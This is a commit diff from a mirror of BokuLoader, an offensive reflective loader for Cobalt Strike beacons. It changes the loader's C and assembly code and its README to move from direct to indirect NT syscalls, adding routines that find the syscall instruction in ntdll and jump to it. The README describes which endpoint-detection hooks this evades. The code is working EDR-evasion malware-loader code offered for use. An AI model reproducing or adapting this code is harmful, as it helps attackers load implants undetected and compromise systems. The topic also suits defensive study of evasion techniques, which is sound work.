mirror of
https://github.com/boku7/BokuLoader/
synced 2026-06-06 15:24:27 +00:00
@@ -23,8 +23,8 @@ _Before using this project, in any form, you should properly test the evasion fe
|
||||
|
||||
### BokuLoader Specific Evasion Features
|
||||
- Custom ASM/C reflective loader code
|
||||
- Direct NT syscalls via HellsGate & HalosGate techniques
|
||||
- All memory protection changes for all allocation options are done via direct syscall to `NtProtectVirtualMemory`
|
||||
- Indirect NT syscalls via HellsGate & HalosGate techniques
|
||||
- All memory protection changes for all allocation options are done via indirect syscall to `NtProtectVirtualMemory`
|
||||
- `obfuscate "true"` with custom UDRL Aggressor script implementation.
|
||||
- NOHEADERCOPY
|
||||
- Loader will not copy headers raw beacon DLL to virtual beacon DLL. First `0x1000` bytes will be nulls.
|
||||
@@ -109,12 +109,12 @@ _Before using this project, in any form, you should properly test the evasion fe
|
||||
### Sleepmask Detection
|
||||
- If sleepmask kit is used, there exists detection methods for this independent memory allocation [as detailed by MDSec here](https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/)
|
||||
|
||||
### Direct Syscalls
|
||||
+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtFreeVirtualMemory`
|
||||
+ These are called directly from the BokuLoader executable memory. These system calls are not backed by NTDLL memory.
|
||||
### Indirect Syscalls
|
||||
+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`
|
||||
+ These are called indirectly from the BokuLoader executable memory.
|
||||
+ Setting userland hooks in `ntdll.dll` will not detect these systemcalls.
|
||||
+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage when they are not called from `ntdll.dll`.
|
||||
+ The BokuLoader itself will contain the `mov eax, r11d; syscall; ret` assembly instructions within its executable memory.
|
||||
+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
|
||||
+ The BokuLoader itself will contain the `mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11` assembly instructions within its executable memory.
|
||||
|
||||
### Virtual Beacon DLL Header
|
||||
- The first `0x1000` bytes of the virtual beacon DLL are zeros.
|
||||
|
||||
+37
-15
@@ -54,7 +54,7 @@ void * BokuLoader()
|
||||
size = raw_beacon_dll.size + 0x2000;
|
||||
oldprotect = 0;
|
||||
// NtProtectVirtualMemory syscall
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
|
||||
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
|
||||
// Have to zero out the memory for the DLL memory to become a private copy, else unwritten memory in beacon DLL can cause a crash.
|
||||
RtlSecureZeroMemory(base,size);
|
||||
@@ -70,7 +70,7 @@ void * BokuLoader()
|
||||
if(base){
|
||||
oldprotect = 0;
|
||||
virtual_beacon_dll.dllBase = base;
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
|
||||
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
|
||||
}
|
||||
}
|
||||
@@ -82,7 +82,7 @@ void * BokuLoader()
|
||||
if(base){
|
||||
oldprotect = 0;
|
||||
virtual_beacon_dll.dllBase = base;
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
|
||||
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
|
||||
}
|
||||
}
|
||||
@@ -91,7 +91,7 @@ void * BokuLoader()
|
||||
// Allocate new memory to write our new RDLL too
|
||||
base = NULL;
|
||||
size = raw_beacon_dll.size;
|
||||
HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory));
|
||||
HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory), api.pNtAllocateVirtualMemory);
|
||||
((tNtAlloc)HellDescent)(NtCurrentProcess(), &base, 0, &size, MEM_RESERVE|MEM_COMMIT, raw_beacon_dll.BeaconMemoryProtection);
|
||||
RtlSecureZeroMemory(base,size); // Zero out the newly allocated memory
|
||||
|
||||
@@ -115,7 +115,7 @@ void * BokuLoader()
|
||||
size = virtual_beacon_dll.TextSectionSize;
|
||||
newprotect = PAGE_EXECUTE_READ;
|
||||
// NtProtectVirtualMemory syscall
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
|
||||
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
|
||||
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, newprotect, &oldprotect);
|
||||
}
|
||||
|
||||
@@ -1126,17 +1126,39 @@ __asm__(
|
||||
"pop rdi \n"
|
||||
"ret \n"
|
||||
|
||||
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
|
||||
"xor r11, r11 \n"
|
||||
"mov r11d, ecx \n" // Save Syscall Number in R11
|
||||
"ret \n"
|
||||
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
|
||||
"xor r11, r11 \n"
|
||||
"mov r11d, ecx \n" // Save Syscall Number in R11
|
||||
"push rdx \n"
|
||||
"pop rcx \n" // Save NtApi address in RCX
|
||||
"call GetSyscallAddress \n"
|
||||
"mov r10, rcx \n" //Save syscall address in R10
|
||||
"ret \n"
|
||||
|
||||
"HellDescent: \n" // Called directly after HellsGate
|
||||
"xor rax, rax \n"
|
||||
"mov r10, rcx \n"
|
||||
"mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt
|
||||
"syscall \n"
|
||||
"ret \n"
|
||||
"HellDescent: \n" // Called directly after HellsGate
|
||||
"xor rax, rax \n"
|
||||
"mov eax, r11d \n" // Move the Syscall Number into RAX
|
||||
"mov r11, r10 \n" // Move the syscall address to R11
|
||||
"mov r10, rcx \n"
|
||||
"jmp r11 \n"
|
||||
|
||||
"GetSyscallAddress: \n" // Get the syscall address by byte by byte checking
|
||||
"mov edx, 25 \n"
|
||||
"find_syscall_address_loop: \n"
|
||||
"mov r10, [rcx+rdx-1] \n"
|
||||
"cmp r10, 0x05 \n"
|
||||
"jne find_syscall_address_next \n"
|
||||
"mov r10, [rcx+rdx-2] \n"
|
||||
"cmp r10, 0x0F \n"
|
||||
"jne find_syscall_address_next \n"
|
||||
"lea rcx, [rcx+rdx-2] \n"
|
||||
"mov rax, rcx \n"
|
||||
"ret \n"
|
||||
"find_syscall_address_next: \n"
|
||||
"dec edx \n"
|
||||
"jnz find_syscall_address_loop \n"
|
||||
"xor rax, rax \n"
|
||||
"ret \n"
|
||||
|
||||
"getFirstEntry: \n" // RAX, RCX
|
||||
"mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB
|
||||
|
||||
+2
-1
@@ -308,8 +308,9 @@ void * getRip(void);
|
||||
unsigned int copyWithDelimiter(void * dst, void * src, unsigned int n, CHAR delimiter);
|
||||
void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey);
|
||||
|
||||
void GetSyscallAddress(void * ntdllApiAddr);
|
||||
unsigned long findSyscallNumber(void * ntdllApiAddr);
|
||||
unsigned long HellsGate(unsigned long wSystemCall);
|
||||
unsigned long HellsGate(unsigned long wSystemCall, void * ntdllApiAddr);
|
||||
void HellDescent(void);
|
||||
unsigned long halosGateDown(void * ntdllApiAddr, unsigned long index);
|
||||
unsigned long halosGateUp(void * ntdllApiAddr, unsigned long index);
|
||||
|
||||
Reference in New Issue
Block a user